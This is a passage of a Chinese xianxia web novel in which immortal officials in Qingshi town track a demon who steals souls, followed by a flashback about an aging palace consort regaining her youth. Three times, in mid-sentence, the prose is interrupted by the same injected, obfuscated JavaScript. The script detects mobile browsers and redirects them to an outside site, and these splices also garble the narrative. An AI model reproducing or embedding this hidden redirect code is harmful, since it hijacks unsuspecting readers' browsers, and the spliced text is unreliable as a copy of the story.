说到这儿,刘茂短暂地沉默了一下,鬓边的白发显得他愈发苍老,“骏儿是独子,我们老刘家的香火就这么断了……要是连性命都丢了,那我也……唉!” 刘茂满眼颓然,说完话像是失去了所有力气,佝偻着腰,此刻,他只是一个无助的父亲。 锦棠想到她爹娘,霎时心里一酸,真是可怜天下父母心,安慰起他来:“你放心,我们一定会为大家讨个公道。” 刘茂心中苦楚万分,连强颜欢笑都做不到,“多谢仙官大人了。” 敦九一行人向刘茂告辞,前去探查其他得怪病者的情况。 朴素的宅院前,敦九向门仆说明来意,不一会儿就有急切的嗓音传来。 “哎哟,仙官大人,你们一定要救救我家老爷啊!” 未见其人,先闻其声,可以想见这声音的主人该是多么心急如焚忧心忡忡。 果不其然,这位钱夫人脸色苍白,面容憔悴,她紧蹙着眉峰,眼窝深深凹陷,尽显疲态。 她穿着白色衣裳,愈发显得瘦弱,像一株可怜的白荷被烈日烤得枯败,一阵风就能把她吹走了。 进了正厅,她哭哭啼啼开始诉苦:“我家老爷本是个节俭的,恨不得把一枚铜钱掰成两半花,自从染上这怪病,就变得豪奢放浪,把家中的积蓄都挥霍完了!这还不算,老爷之前对钱财最为上心,出门只带小钱,可前两日他竟然带了一大袋银子出去做买卖,小憩时被人给偷走了!” 钱夫人越说越气,越说越想流泪,索性拿出帕子哭了起来,好把这些天积压的不快统统宣泄出来。 敦九捕捉到她话里的一些信息,若有所思地问:“钱老爷现在何处?” 钱夫人抽噎道:“他、他又出去了,我劝过他好多次,可他像着了魔,我拦不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258337|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 她声音越来越小,最后化作一声无助的叹息。 刘茂作为父亲能管束儿子将刘家骏绑起来,钱夫人作为妇人能对她的夫君做什么呢? 锦棠不禁怜悯起这个不幸的女子,越发对那个残害百姓的凶手感到深恶痛绝。 这时,一道不耐烦的声音从外面传进来:“吵吵什么呢。” 钱夫人面上一喜:“老爷回来了,仙官大人,您快帮他看看!” 来人长了一双细小的眼睛,眉毛稀疏又杂乱,鼻梁细窄,鼻头尖削,嘴唇薄而小,嘴角向下耷拉,是个刻薄精明的面相。 他头发干枯蓬乱,胡须稀稀拉拉,整个人邋里邋遢,又偏偏穿了一身红配绿的亮色长袍,看起来活脱脱像个丑角,滑稽可笑。 锦棠忍俊不禁,泷宋更是直接笑出了声,惹得钱迁不悦攒眉,“他们是谁?你怎么随便把外人带回家。” 钱夫人瞥他一眼,而后不自觉低下头,“他们是刘茂请来的解忧仙官,帮咱们看病来的。” “刘茂这鸟官叫来的你也信?什么仙官不仙官的,我看就是几个江湖骗子!” 钱迁不屑地冷哼一声,轻蔑厌恶的眼神扫过锦棠他们后,又不耐地对钱夫人说:“我可没得病,我看是你得病了才对……” 他话还没说完,突然像只泄气的孔明灯慢慢坠下去,两眼一闭,没了意识。 钱夫人连忙上前搀扶,她惊恐地看向敦九抬起的手和他掌心散发出的灵力,“仙官大人这是要做什么?” 敦九慢条斯理地捋须,“你家老爷丢了爽灵魂和尸狗魄。” 听见魂魄两个字,钱夫人被惊得自己也像丢了魂,双眼瞪大,眼中布满血丝,急得又要落下泪来:“这……这可如何是好啊!” 锦棠轻轻拍钱夫人的背,安抚她的情绪:“仙官大人神通广大,钱老爷很快就会没事的。” “爽灵魂为三魂之一,主司智慧、谋略与决断;尸狗魄为七魄之一,主司人之警觉,于寐时亦察外间之变,若有异动,能促人惊觉,使身速醒,以应突发之况。” 敦九面色冷肃,夺人魂魄乃是邪法,不知是人或妖所为,其阴毒心思可见一斑。这样的祸害,必是要除掉的。 闻言,钱夫人坐直了身子,眼睛亮了起来,“对对!老爷之前眠轻而梦不定,一有小响动便能醒过来,也并无白日小憩的习惯!” 她俯下身子磕起头来,语气无比恳求:“求仙官大人救救我家老爷!” 敦九赶紧去扶她,“快起来。份内之责,我们必当尽心尽力。” 离开钱宅后,四人分头探查了其他症状较轻者的情况,他们无一例外都失了一魂一魄,只不过丢的魂魄各不相同,反常之处也千奇百怪。 施法者心很细,没有留下破绽,加之“得病”者的亲近之人也被这诡事折磨得有些神志欠佳,他们没问出什么有用的消息,甚至连一点蛛丝马迹都没发现。 锦棠双手托着脸颊,神色恹恹,青石镇这么大,他们上哪儿找这个大坏蛋啊! 15. 黄果酒(二) 来到青石镇的第二日,事情好像有了些眉目——有位小姐新得了怪病,敦九前去察看时,发现了一缕极淡的妖气。 这位小姐是目前所有病人中症状最重的,她失了除秽魄和一部分天魂,已经昏迷好几天了。 “仙官大人,怎么样,小女还有救吗?”孟老爷红着眼眶,祈求地问道。 孟小姐是他们的掌上明珠,孟夫人看女儿长时间昏迷不醒也病倒了,大儿子在外地经商顾不上家里,只剩孟老爷一个人苦苦支撑。 锦棠的心又揪了起来,忙安抚他的情绪:“你别着急,我们一定还你一个健健康康的女儿。” 敦九不置可否,微微皱起眉,若天魂完全消散,则生命终结,这位孟小姐的天魂还在慢慢流失,情况不容乐观,他们必须要更快些找到施法者。 他口吻凝重起来:“孟小姐这几天都见了什么人?” “我家小女不爱出门,我待会把下人都叫过来给您看看,”说着,孟老爷递了个眼神给旁边的婢女,不怒自威:“小翠,你寸步不离跟着小姐,她可见了什么外人?” 小翠瑟瑟发抖,嗓音打着颤,“小姐只昨天出门去了王掌柜的胭脂铺。” 孟老爷拧起眉:“语琴是他家的熟客,这王掌柜为人和善,不像是……” 泷宋一本正经:“知人知面不知心。” 锦棠低低叫了声:“泷宋你别捣乱!王掌柜的夫人也得了怪病,我们俩一起去看的,怎么可能是他。” 裴轼倒有不同的看法:“也许是那妖怪附在了王掌柜身上?” 敦九继续问道:“你家小姐可买了东西?” “买了这盒胭脂。”小翠将胭脂盒递给他。 锦棠歪了歪头,小翠肤色有点黑,一双手却是白皙如凝脂,好生奇怪。 敦九打开盒子,细细感受了一番,没有发现异常,“胭脂没有问题。你家小姐没见其他人了?” 小翠摇摇头:“没。” 他喃喃自语,困惑不解:“能夺人魂魄的妖怪必然法力深厚,懂得如何隐藏妖气,所以在之前的病人身上都没有发现妖气,可孟小姐身上怎么会有?” “仙官大人,我把下人们都叫到院子里了,请您移步看看。” “好。” 院子里齐刷刷站着四排人,前两排是丫鬟和嬷嬷,后两排是小厮和老仆。 锦棠发现了一个奇怪之处,小厮们都长相清俊,相貌个顶个得好,而那些年轻的丫头,每个都皮肤黝黑,五官黯淡,平平无奇,甚至可以说有点丑陋。 一个两个有差别不奇怪,可所有丫鬟都这样,主人是有什么独特的品味吗? 锦棠好奇地看孟老爷一眼,见他还是一脸爱女心切,尴尬地吐了下舌头。 敦九走过每个人的身边,回来时摇摇头,“如此近的距离,不管修为多么高深的妖怪我都能认出来,但他们都没问题。” 孟老爷有些失落,但也做好了充分的心理准备,不至于垮下去,只是长久地沉默。 “诶,小翠,你的头发怎么回事?”锦棠忽然注意到小翠后边的头发参差不齐的,像被狗啃了,想起她脸和手巨大的肤色差别,有笼着雾气谜团快要浮出水面。 “我、我……不关你的事!”小翠根本没想到锦棠会问她这个问题,一双五黑漂亮的眼珠子惊慌地乱转,手指绞紧衣角,双腿抖如筛糠。 “放肆!”孟老爷语气严厉,须发气得抖了一下,“怎么敢这样对仙官大人说话,还不快跪下!” 也许是她的语气温和,口吻亲近,小翠情急之下将她当成了一个无害的小姑娘。 锦棠嘴角流露出淡淡的笑意,要是没做亏心事,她为什么这么心虚呢? 小翠咬着嘴唇,脸色惨白,还没等孟老爷发话就已经直挺挺地跪了下去,冷汗直流,身子抖得更加厉害了。 小翠忙磕头认罪:“仙官大人,我错了!我错了!我不该顶撞您!” 锦棠在小翠磕完第一个头时就拦住了她,将她扶起来,语气平常:“小翠,你还没回答我的问题呢。” 小翠对上她那双明澈灵动的眼睛,一股恐惧感油然而生,她看着比自己的年纪还要小,却仿佛有无穷的智慧能把她整个人看透。 小翠看了眼孟老爷的怒容,心知如果她的回答不能让锦棠满意,下场也不会好到哪里去。 说与不说,都不会有什么好结果,那她不如将小姐做的丑事和她这些年受的委屈痛痛快快地说出来! 小翠心一横,咬咬牙道:“是小姐剪的!” 孟老爷震惊道:“小翠,你怎么能胡说八道呢!” “哼,”小翠冷笑一声,站直了身子,竟是连孟老爷也不怕了,语气愈发怨毒起来:“老爷,这些年小姐如何的娇纵荒唐,您真的一点也不知吗?” 孟老爷躲闪着移开眼:“这……我……” “小姐善妒,她见不得我的头发乌黑油亮比她的柔顺漂亮,就用一把大剪刀将它们都剪了去!身体发肤受之父母,她怎么能!”小翠控诉着孟小姐的行为,激动地落下泪来。 孟老爷怒气冲冲:“我们孟家养着你供你吃供你住,小姐好歹也算你的衣食父母,多年主仆情分,你怎么能这么说她!” 小翠表情夸张地笑了下,五官扭曲不复美丽:“情分?我与她有什么情分可言!” 她猛地将衣袖撸起,上面纵横交错的新旧疤痕令人触目惊心。 她语气凉飕飕的,像一条毒蛇舔舐自己的尖牙:“她稍有不顺心的事就骂我打我,还不是被你娇宠坏了!这还不止,她嫉妒我肤色白,就让我在烈日下头罚站,休息不得,连饭也不给我吃,落下一身病!” 不,哪是什么毒蛇,只是一条可怜的小虫子罢了。 在仙官大人们面前被扬出了家丑,孟老爷面上挂不住,黑着脸怒道:“一派胡言!还不快把她拖下去!” 立刻有两个动作麻利的小厮上前要把她带下去,小翠冷笑着没说话,也不反抗。 “等等,”锦棠上前拦住他们,“小翠前面撒了谎,只有她知道孟小姐能否醒过来的关键,孟老爷,还请三思呀!” 孟老爷心口憋着一股火气,考虑到女儿的安危,朝那两个小厮摆摆手,“放开她。” “小翠,我将你的卖身契还你,再给你一笔钱,你把事情如实说来。” 见小翠面露犹豫,他无奈道:“仙官大人在此,我还能耍赖不成?” 小翠咬了下嘴唇,吐露真相:“小姐在胭脂铺同人起了争执,当时就像变了个人似的安安静静不言语,回来后就躺下昏睡不醒了。” 敦九点点头:“此话在理,许是那妖怪激动之下不慎泄露了妖气,这才留下破绽。” 孟老爷着急地追问:“那人长什么样子?” 小翠细细回忆:“身材微胖,方面大耳,绿豆眼,塌鼻梁,看着十分憨厚老实,我听王掌柜叫他罗老板。” 敦九下了决定:“事不宜迟,我们赶紧去王掌柜那里一趟。” 街上人不多,小翠在前面带路,锦棠偶然听到两个大娘聚在一起说话。 戴红色头巾的轻声问:“好些人都生了怪病,你还敢出来乱逛啊?” 戴蓝色头巾的嗓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258338|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门响亮:“不做亏心事,不怕鬼敲门!我看那些得病的人都是遭了报应啊!那刘家骏,横行霸道,欺压百姓,强抢民女,逼良为娼,听说那怪病让他丢了命根子,真是大快人心!他爹也不是什么好东西,道貌岸然,让他也得了病才好!” “哎,你小点声,”红头巾大娘朝四周看了看,“不过你说的也对,那吝啬鬼之前卖李子还要钻核防别人种树,每天晚上和他老婆数钱,听说他得了那怪病出手十分阔绰,李子也卖得特便宜。” 蓝头巾大娘哈哈大笑:“你说的就是那个侄子结婚送了一件衣服后面又要回来,女儿嫁人向他借钱黑着一张脸的钱迁吧?我还听说他被偷了好多银子呢!” “真的啊?那这病症还怪有意思的,郎中是对症下药,这是对人下病啊,哈哈。” “就是,我看哪有什么怪病,就是老天爷看不下去了!” “……” 两位大娘走远,锦棠抿唇思索起来,难道这些得病的人都是做了错事才受到惩罚,施法的妖怪是个惩恶扬善的好妖? 马上她又否定了这一想法,就算他们做了错事,也该按人间自己的规矩来惩治,而且孟小姐的所作所为犯不上死刑,那妖怪却夺了她一部分天魂,这惩罚未免过重了。 小翠停下脚步,转身看向敦九:“到了,这就是王掌柜的胭脂铺。” 小翠先跟他打了个招呼:“王掌柜,他们是解忧仙官,有些事要问您,为了青石镇的百姓,希望您如实回答。” 王掌柜将笑容收起,神色马上严肃起来:“镇长求助仙官这事儿我知道,你们尽管问,我一定知无不言,绝无虚言。” “孟小姐昨日在胭脂铺同人起了争执,回去后就昏迷不醒,我在她身上发现了一缕妖气,推测是那位罗老板干的。” “罗纪安?”王掌柜满脸震惊:“不可能啊,最开始向镇长提议写符纸求助仙官府的人就是他。” 敦九边说边观察王掌柜,没有错过他脸上任何一丝表情变化,见他不像说谎的样子,心头疑惑更深,若罗纪安就是幕后黑手,又怎么会主动找仙官府呢? 锦棠灵光一闪:“会不会是那妖怪胁迫了他或者伪装成他的样子?” 敦九也觉得有这个可能,继续问话:“你与罗纪安似乎很相熟?他经常来胭脂铺吗?” “想必他娘子是个爱打扮的,他经常来我这买胭脂水粉,一来二去就熟了。” 锦棠发现了疑点:“你可见过他夫人?他夫人为何不亲自来买?” 王掌柜摇摇头,开了个玩笑:“未曾见过,也许是罗老板想金屋藏娇吧。” 上妆用的口脂黛粉,女子亲自挑选才能买到更合适更合心意的,一次都不曾露面,这个罗老板的夫人有点可疑。 一直没说话的裴轼开口询问了:“王掌柜,小翠说昨日孟小姐与罗老板起了冲突,你还记得是怎么一回事吗?” 王掌柜有点尴尬:“孟小姐见罗老板一个大男人来买胭脂,便奚落了他几句。” 小翠撇撇嘴:“她嫉妒罗老板夫人有一个如此疼爱她的相公,毕竟她心悦的男子不喜欢她,和别家小姐订婚了。” 王掌柜额头冒汗,这是他能听的吗? 裴轼面不改色:“当时罗老板可有什么异常之处?” 王掌柜仔细回想:“没有。罗老板既没还口也没动手,急匆匆就走了。” 裴轼垂眸思忖,就算罗纪安脾气再好,也不该是这样的反应,这个人绝对有问题。 “你可知罗老板住在何处?” “他是种黄果树的,就住在黄果山脚下。” 16. 黄果酒(三) 从王掌柜那得到了罗纪安的住址后,敦九就让小翠离开了,仙官府四人向黄果山前进。 路上,敦九叮嘱三个小辈:“这妖怪实力不容小觑,千万要小心。” 锦棠很是自信:“放心吧,四打一,绰绰有余啦。” 敦九严肃道:“放松警惕最为致命,我们来青石镇两日,那妖怪必然有所察觉,敌在暗我在明,不可儿戏。” “遵命!” 不多时,敦九四个到了黄果山脚下,空气里飘着一股淡淡的甜香,似乎是黄果成熟逸散出的香气。 迎面走来一个村民,他看到敦九一行人眼睛一亮:“几位一看就是贵人,是来采买果子果树的吗?” “对,我们是朋友介绍来的,找罗纪安。”敦九顺着他的话往下讲,刚好可以避免打草惊蛇。 “噢,你们找罗老板啊,跟我来吧。” 这村民十分热情,当即从一旁的黄果树上摘了四个果子递给他们:“你们尝尝,我们这儿的黄果酸甜可口,品质是一等一的好。” 他笑着露出一口白牙,十分纯朴。 锦棠是个贪吃的,两眼放光,马上剥开了皮尝味道,一口下去汁水四溢,果香浓郁,极为爽口。 她满足地眯起眼,嘴边浮现出两个可爱的小酒窝:“真好吃!” 泷宋也抵挡不住这诱惑,吃得果汁沾在嘴边,意犹未尽地舔了舔。 裴轼看着少女俏皮的模样,唇角轻勾:“锦棠,我不爱吃果子,我的也给你。” “哇,裴轼,谢谢你!”锦棠开心地接过那枚黄果,大快朵颐起来。 敦九也把自己的黄果给了泷宋:“我一个老人家吃果子牙疼,给你吧。” “谢谢敦九伯伯!” 锦棠和泷宋边吃边走,没过多久,村民停在一个院子前面,“罗老板就在里面。” 村民推开竹门,一个体型略宽的男子面对着他们。 方面大耳,绿豆眼,塌鼻梁,正是罗纪安! 四人屏气凝神,做好了战斗准备,却听身后传来一道幽幽女声:“你们是在找我吧?” 方才那个村民竟摇身一变成了一个美艳女子! 她身材姣好,容色倾城,只可惜右脸颊上有一道狰狞的疤痕,自眉骨蜿蜒而下,斜斜划过眼角与颧骨,如同一只暗红色的蜈蚣盘踞在洁白细腻的皮肤上,令人触目惊心。 她身形变换的一刹那,一股强大浓郁的妖气散发开来,与敦九在孟小姐身上发现的那缕妖气气息一模一样! 想必这就是王掌柜口中罗纪安的夫人!也是他们一直在寻找的幕后黑手! 敦九冷静地召唤出他的酒坛子:“既如此,我们先过上几招。” 那女子闻言笑了,殷红的唇勾起一个夸张的弧度,眼神里透着一股得意:“你们方才吃的黄果里被我提前动了手脚,两个小娃娃,有没有感觉使不出灵力,身体里的灵力还在慢慢流失呀?” 她语气霎时又变得惋惜:“可惜了,你们两个看起来能打的没吃,果然是老狐狸,心眼子多。” 裴轼心头一惊,赶紧揽住锦棠的肩,忧心地望向她:“我不知……” 锦棠摇摇头表示没事,皱着眉咬着下唇,她现在担忧自己和泷宋用不了法术还无法自保,会成为敦九和裴轼的负担。 泷宋发狠调动全身灵力,在第三次失败后,他有点崩溃:“敦九伯伯,你是不是知道那果子有问题,才故意给我吃的!” 敦九语气激动又带有一点心虚:“哎,你们两个小家伙动嘴的速度那么快,我都来不及暗示你们,只能出此下策了!不然我们全都吃不了兜着走!” “不过嘛,”女妖将眉一挑,话锋一转:“这一路你们都吸了不少迷魂香,想必马上就会见效了。” 她将红袖一挥,那阵香甜的气味愈发浓郁起来。 敦九感觉到身体变得有些软弱无力,赶紧叮嘱三人:“用灵力护体,不要再吸入这香气了!” 遭了!锦棠和泷宋现在无法抵抗迷魂香! 敦九一咬牙,看了眼身侧:“裴轼,你照看好锦棠和泷宋,其他的交给我!” 他眯着眼,这个妖怪给了他们很大的教训,回去一定要好好教育锦棠和泷宋如何抵挡诱惑,不过他自己的警惕性也不够强,才导致被钻了空子。 敦九右手掐诀设下结界,从牙缝中挤出几个字:“卑鄙无耻!” 女妖笑意盈盈:“你们可是神仙,我拿不走你们的魂魄,若不准备这些,我哪敢螳臂当车啊?” 她的眼睛生得极美,瞳仁漆黑透亮,仿佛藏着迷蒙秋雨,又宛如蕴着春日湖光,眼波流转,顾盼生辉,风情万种。 敦九与她对视的瞬间,似乎忘记了眼前的女子是个害了许多人的妖怪,而是一位脉脉含情,想与他诉说心底柔情的知心人。 敦九虽只被迷惑了一弹指的时间,马上恢复清明,但那女妖的手已经来到了他的胸膛前,似乎是准备将他的心脏挖出来。 要避开她的眼睛! 敦九在心里提醒自己,立即操控着一只酒坛子抵挡在身前,坛壁与指甲激烈摩擦,发出尖利刺耳的声音。 女妖的话似夸赞又似遗憾:“不愧是神仙,这么快就醒了。” 敦九让另两只酒坛子左右夹击围攻女妖,女妖一点也不惊慌,弯唇将笑意漫开,她两手指缝间不知何时各多了三枚铜镜碎片,锋利无比,泛着寒光,下一瞬,左手的三枚镜子碎片环绕腰身,与两只酒坛子打得你来我往,右手的三枚镜子碎片则拼合成一块更大的碎片,狠厉地刺向敦九身前那只酒坛子! 敦九倒吸一口凉气,他能感觉到女妖还没有发挥全部实力,她之前说的“螳臂当车”绝对谦虚了,就算他没有吸入迷魂香,也只能险胜于她。 情况有点棘手,敦九正思考着对策,忽然瞥到了红衣女妖身后的罗纪安,他从他们进入院子后就一直站在原地没有动,表情复杂地看着他们。 他心里在想什么? 也是这顷刻的分神,女妖抓住了敦九的破绽,她竟用铜镜碎片划开了自己的手掌,掌心渗出的鲜血慢慢被镜子碎片吸收,等到每一处空间都被血液填满,每块碎片上都浮现出女妖的脸。 疯狂的妖异的,带着恶毒笑意的,想要将一切都毁掉的脸! 如果此时敦九去看现实中女妖的脸,就会发现她双目血红,右脸上那道蜈蚣形状的伤疤好像活了过来,触须在缓缓爬动! 迷魂香的毒让敦九四肢百骸渐渐松软下来,面对女妖激烈的进攻,他心知自己撑不了太久。 锦棠看着眼前这一幕,语气焦急道:“裴轼,你快去帮敦九!” 裴轼语气坚定:“不行,我不能丢下你们两个在这里。” 他得守在后方将自己的灵力输送给锦棠和泷宋,不然他们会因为灵力流失过多而昏迷,若灵力散尽,会有生命危险。 锦棠咬牙道:“你的灵力也是有限的,若是敦九战败,以我们三个现在的情况毫无反手之力,只有马上制服那妖怪,才能从根源上解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282139|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决我们的问题!速战速决,我和泷宋不会出事的!” 裴轼其实也明白这个道理,只是他没办法看锦棠受难,才一直没有下定决心。 见裴轼表情松动,锦棠凑近他,贴在他耳边说了三个字。 “罗纪安!” 女妖不方便露面,她应当是指使罗纪安或者附在他身上取走了百姓的魂魄,但不管是哪一种情况,都能说明罗纪安对女妖很重要,拿下他,事情一定会出现转机! 裴轼心领神会,快速转身大步流星朝罗纪安奔去,白色的灵力凝聚成一条清灵的游龙欲将他缠绕。 女妖意识到不对劲,大声叫唤罗纪安的名字,整个人狂躁起来,打出许多铜镜碎片想要将那游龙拦下。 “不是叫你躲好吗?!”她美丽的面容扭曲起来,这是她计划中的变数,让她不复从容的表情。 敦九本想自己找机会偷袭罗纪安,裴轼出手给了他意外之喜,他明白再拖一秒都会让锦棠和泷宋陷入更危险的境地,他抓住这个好时机,快速念诵法诀,三只酒坛子转动的速度到达了极限,琥珀色的酒液激涌而出,浸透铜镜碎片,残缺镜面上女妖的脸严重变形,呼喊出绝望的尖叫。 裴轼全身紧绷,镜子碎片对游龙的阻碍不小,他耗尽周身灵力,终于打落了碎片,游龙成功捆绑住罗纪安的身体,下一刻,游龙化为一柄散发着凛凛正气的长剑横在罗纪安脖颈处,而裴轼持着剑柄,立在他身后。 裴轼看向女妖,他面容冷肃,声如寒冰:“你若执迷不悟,我就杀了……”长剑轻微划破罗纪安的皮肤,流出点点血滴。 女妖因为想要保护罗纪安,分出了大部分心神和裴轼对抗,可惜没有成功,在敦九这边也受了重伤,此时竟然吐出一口鲜血,晕死在地。 裴轼慌了,还没向女妖讨要黄果和迷魂香的解药呢,她就这么晕过去了? “锦棠……”他喉间充血,想要过去看看锦棠的情况,却因为灵力透支险些跌倒在地。 灵力汇聚的长剑消失,身前的禁锢解除,罗纪安趁机往裴轼嘴里塞了一颗丹药。 那丹药入口即融,裴轼还没来得及反应,他脸色很差,觉得被暗算了:“你给我吃了什么?” 敦九也看到了这一幕,连忙过来扶起裴轼,对罗纪安说:“你有什么条件,我们可以谈谈。” 罗纪安摇了摇头,“我没有什么条件,我只是想让你们听我讲个故事。” 敦九疑虑更深:“故事?” 罗纪安依旧是不紧不慢的语气:“我给他吃的是聚气丹,可以帮助他恢复灵力。” 敦九突然发现了一个很可怕的点,罗纪安从始至终都很平静,好像现在发生的一切都在他意料之中,或者这就是他想要的。 裴轼皱着眉,却对敦九点了点头,证明罗纪安说的话不假,但他也看不透这人想要做什么。 敦九又细细打量了一遍罗纪安:“确实只是个没有法力的普通人,暂且相信你。” 罗纪安边朝外走边说:“迷魂香没有解药,毒性过了时间自然会解开。” 锦棠和泷宋已经陷入昏迷,面色苍白,罗纪安给他们喂下聚气丹后,敦九和裴轼为他们疗愈身体,不一会儿,两个人都醒了过来,脸色渐渐恢复红润。 罗纪安则在这段时间里将倒在地上的女妖扶进了房间,出来后,他将四人请到了木桌旁。 “你们先听我说个故事吧。”罗纪安牵动嘴角,笑得很难看,配上他原本就不算好看的五官显得更难看了。 17. 黄果酒(四) 青琅殿的金砖上响起零落的哗啦声,众多琳琅珠饰、胭脂水粉被推倒在地,一片狼藉。 猫儿被吓得跑了出去,贴身侍女急忙跪下,将头埋得低低的,语气担忧中带着一丝害怕:“贵妃娘娘息怒。” “滚!都给本宫滚出去!”张贵妃胸口剧烈起伏着,扶在梳妆台上的右手拔下头上的红珊瑚簪子,狠狠戳进螺钿漆盒,靛青眉黛在织金锦缎上洇开,宛若泪痕。 宫人惊恐地退出去,她又踹翻近处那张海棠鼓凳,惹得满地珠翠妆品叮当作响。 “哈哈哈哈……从前的独宠都成了笑话,如今是但见新人笑,哪闻旧人哭啊,最是无情帝王家,我早该明白的……” 望着宫门,张贵妃唇角轻勾出一抹自嘲的笑,语气寂寥惆怅,末了,她闭上眼,两行清泪缓缓流下来。 再次睁眼时,她整个人透着一股疲态,看向鎏金铜镜,里面的女子云鬓半散,岁月在她眼角刻下道道细纹,好似御花园池底干涸的涟漪。从前丰盈饱满的脸颊凹陷下去,覆着干枯的面皮,再不复年轻时的姝丽。 “鬓边的白发好像又多了……”她颤巍巍抚上自己的脸庞,猩红的丹蔻与艳色的唇脂配上褪色的容颜,显得有些可笑。 “以色侍人者,能得几时好?”她幽幽哀叹道,猛然抓起一支金钗划向眼前的铜镜! 铜镜坚硬,镜面上只留下一道很浅的划痕,不细看根本看不出来。 张贵妃静了心神,倦怠地合眼睡去,没看见铜镜上闪过的淡淡红光。 …… “娘娘,奴婢奉命找到了一位游方术士,他说可以让您重获青春!”贴身侍女紫烟语气激动,她从小侍奉张贵妃,后来跟着她进宫,是真心为她感到高兴。 “是吗?”张贵妃的反应却很平淡,静静抚摸着一只通体雪白的猫儿,似乎不抱希望:“之前遇到的都是骗子,没什么真才实学。” “娘娘,他不一样,您见他一面吧!” 紫烟极力推荐,张贵妃也不愿她伤心,毕竟她心性单纯,是这宫里为数不多真心对自己好的人了。 “让他进来吧。”张贵妃动作轻柔地给白猫顺毛,猫儿发出享受的哼声。 “是!” 紫烟小跑着将那术士请了进来,来人身穿一袭灰色长袍,腰间系着暗红绦带,上悬黄铜铃铛,走动时发出细碎声响。 等术士走近些,张贵妃看清了他的脸,深深蹙起了眉。 他左眼蒙着黑绸,右眼黯淡无光,高挺的鹰钩鼻下,两片薄唇泛着青紫。 这样的人,一看就面相不善。 手下的猫儿忽然急躁起来,张贵妃的心也猛地跳了一下,正打算将这术士打发走,他开口了:“娘娘,奴才这儿有一奇药名唤回春露,只消坚持涂抹,便可使肌肤紧致,光洁细腻。” 游方术士从怀里拿出一只小瓷瓶,脸上挂着胸有成竹的微笑:“娘娘,您不妨先将它涂在手上,一试便知奴才话的真假。” 张贵妃仍旧怀有疑虑,可不知为何,那只瓷瓶好像带有魔力,吸引她去打开。 她犹豫着接过瓷瓶,白猫趁机从她怀里跳出去,张贵妃没有在意,拔掉瓶塞,一股奇香从其间逸出,好似融合了千百种鲜花,令人闻之难忘。 在游方术士期待的眼神下,张贵妃将回春露倒在手心,晶莹的液体呈现淡淡的乳白色,触碰肌肤的一刹那,张贵妃眉心一跳,将它抹开,浅浅的凉意蔓延开来,沁润的触感打消了她的不安。 回春露很快被吸收,张贵妃惊奇地发现她手上的皱纹减少了,皮肤也变得更加白嫩了! 紫烟惊喜道:“娘娘,真的有用!” 更不用说张贵妃内心的震撼与兴奋,此刻她对游方术士完全变了态度:“只要你能帮我重获美貌,我什么都愿意给你!” 术士喉间挤出低沉沙哑的笑声:“奴才一定帮娘娘满足心愿。” …… 一月后,云嫔被人推倒在地,落了红,太医一查才知她已经有了三个月的身孕。 皇上匆匆赶来,开口便是训斥:“云嫔,你怀孕了为何不告诉朕!” 云嫔姿色平平,他并不宠爱她,突然得知自己少了个孩子,皇帝心头只有愤怒和惋惜。 “皇上,臣妾也是想让孩子平安生下来才刻意隐瞒,没想到有人要故意害臣妾和臣妾肚子里的孩子啊!” 云嫔躺在床上,面色苍白,声音悲切,泪如雨下,可惜她哭起来并不好看,皇帝不但没有一丝心疼,反而不耐烦地皱起了眉。 面子上还是要说得过去,皇帝一挥手:“你说出来,朕为你主持公道。” “是……” 云嫔的话刚一开口就被人打断,“皇上,臣妾是被冤枉的。” 声音柔婉如柳絮轻轻拂过他的心尖,轻易将他的兴趣勾起。 他朝传来声音的地方看去,女子身穿浅粉襦裙,乌发上别着粉绒花,虽不惹眼,却别有一番清丽。 她低着头,他看不清她的脸,心底愈发好奇。 皇帝眯起眼,觉得眼前这女子的身形和声音有些熟悉,一时却又记不起来。 他眼底兴味浓厚:“抬起头来。” 女子慢慢将脸抬起,她峨眉淡扫,双瞳剪水,琼鼻秀挺,唇若桃花,只是淡妆轻抹,但后宫所有女子在她面前都要失了颜色。 皇帝怔愣片刻,随后流露出不加掩饰的惊艳:“当真是巧笑倩兮,美目盼兮。你是新入宫的秀女?朕好像没见过你。” “皇上许久不来看臣妾,连臣妾的模样都忘了!”那女子娇嗔一声,责怪地看了他一眼:“臣妾是婉儿呀。” “婉儿……”皇帝唇齿间琢磨着这两个字,似乎在脑海里搜寻名字的主人。 不多时,皇帝看向她的眼神变得欣喜而炽热:“婉儿?真的是你!” 他记起来面前的女子像谁了,不、不是像,而是与年轻时的张贵妃一模一样! 张贵妃娇羞一笑:“不是臣妾,还能是谁?” 